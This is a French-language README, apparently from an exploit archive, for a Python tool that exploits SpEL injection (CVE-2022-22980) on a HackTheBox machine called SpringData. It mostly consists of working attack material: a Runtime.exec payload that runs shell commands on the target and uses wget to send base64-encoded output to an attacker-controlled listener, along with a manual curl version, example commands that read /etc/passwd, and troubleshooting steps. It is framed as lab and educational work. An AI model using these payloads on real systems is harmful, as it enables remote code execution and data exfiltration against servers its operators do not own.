Share
## https://sploitus.com/exploit?id=F81DB03A-3215-5297-9E85-169C33AC5E46
# SpringData - SpEL RCE Exploit - CVE-2022-22980
Exploit pour l'exécution de code à distance (RCE) sur Spring Data via une injection SpEL (Spring Expression Language) sur la boßte HTB **SpringData**.
## Descriptions
### Vulnérabilité
La boßte SpringData expose un endpoint `/search` qui accepte un paramÚtre `tracking_id` vulnérable à l'injection SpEL. Cette injection permet l'exécution d'expressions Java malveillantes directement sur le serveur.
### Principe d'exploitation
1. Injecter une expression SpEL qui exécute une commande shell via `Runtime.getRuntime().exec()`
2. Encoder l'output de la commande en base64
3. Exfiltrer le rĂ©sultat via une requĂȘte HTTP GET vers un listener contrĂŽlĂ©
4. Décoder et afficher le résultat
## Utilisation
### Prérequis
- **Python 3.x** avec les modules standards (`http.server`, `subprocess`, `threading`, `base64`)
- **curl** sur votre machine locale
- **wget** sur la machine cible (pour l'exfiltration)
- Un port 80 disponible (ou modifier `LPORT` dans le script)
- AccÚs réseau vers la cible
### Configuration
Modifiez les paramĂštres dans le script selon votre environnement :
```python
TARGET = "http://:8080/search" # URL de la cible
LHOST = "" # IP locale (tun0 pour HTB)
LPORT = 80 # Port d'écoute
```
### Exécution
```bash
# Commande simple
python3 spel_shell.py "whoami"
# Commande avec pipe
python3 spel_shell.py "cat /etc/passwd"
# ĂnumĂ©ration systĂšme
python3 spel_shell.py "uname -a"
# Vérifier l'accÚs réseau
python3 spel_shell.py "curl -s http://httpbin.org/get"
```
## Exemple de sortie
```
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==
[+] Command output:
root
```
## Payload manuel (référence)
Si vous voulez tester la payload sans le script :
```bash
# Terminal 1 : Démarrer le listener
python3 -m http.server 80
# Terminal 2 : Envoyer la payload
curl -X POST \
-d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://:80/{}"})' \
http://:8080/search
```
## Dépannage
### Erreur : "Address already in use"
Le port 80 est occupé. Solutions :
```bash
# Vérifier quel processus utilise le port
sudo netstat -tlnp | grep :80
# ArrĂȘter Apache si actif
sudo systemctl stop apache2
# Ou utiliser un autre port
# Modifiez LPORT dans le script et testez
```
### Pas de réponse ("No response received")
1. **Vérifiez la connectivité réseau** : Assurez-vous que la cible peut atteindre votre LHOST:LPORT
2. **Testez avec une commande simple** : `python3 spel_shell.py "echo test"`
3. **Vérifiez les droits de port** : Le port 80 nécessite `sudo` sur Linux
4. **Vérifiez l'IP LHOST** : Utilisez `ifconfig` (tun0 pour HTB) et non 127.0.0.1
### Erreur de décodage base64
Si vous voyez "Raw data received" au lieu de "Command output", la commande n'a peut-ĂȘtre pas produit d'output valide. Testez une commande qui produit toujours de l'output.
## Architecture du script
```
1. start_server() - Lance un serveur HTTP sur le port 80
â
2. Envoie la payload SpEL via curl vers la cible
â
3. La cible exécute la commande et encode le résultat en base64
â
4. wget envoie le résultat vers le listener (GET http://LHOST:LPORT/)
â
5. Le Handler reçoit la data et la stocke
â
6. Le script décode et affiche le résultat
```
## Améliorations possibles
- [ ] Ajouter un timeout configurable en argument
- [ ] Supporter les commandes multi-lignes (escape des caractÚres spéciaux)
- [ ] Ajouter une session interactive (shell)
- [ ] Implémenter un exfiltration par POST au lieu de GET (URL longueur limite)
- [ ] Gérer les erreurs d'exécution sur la cible
## Références
- [Spring Expression Language (SpEL)](https://spring.io/guides/gs/messaging-stomp-websocket/)
- [HTB SpringData Writeup](https://0xdf.gitlab.io/)
- [Java Runtime.exec() Documentation](https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html)
## Avertissement
Ce script est fourni à des fins éducatives pour les boßtes HackTheBox. Utilisez-le uniquement sur des environnements que vous avez la permission de tester.
---
**Auteur** : Eliasdekiniweek
**Date** : Février 2026
**Langue** : Python 3
**Status** : â
Testé et fonctionnel sur HTB SpringData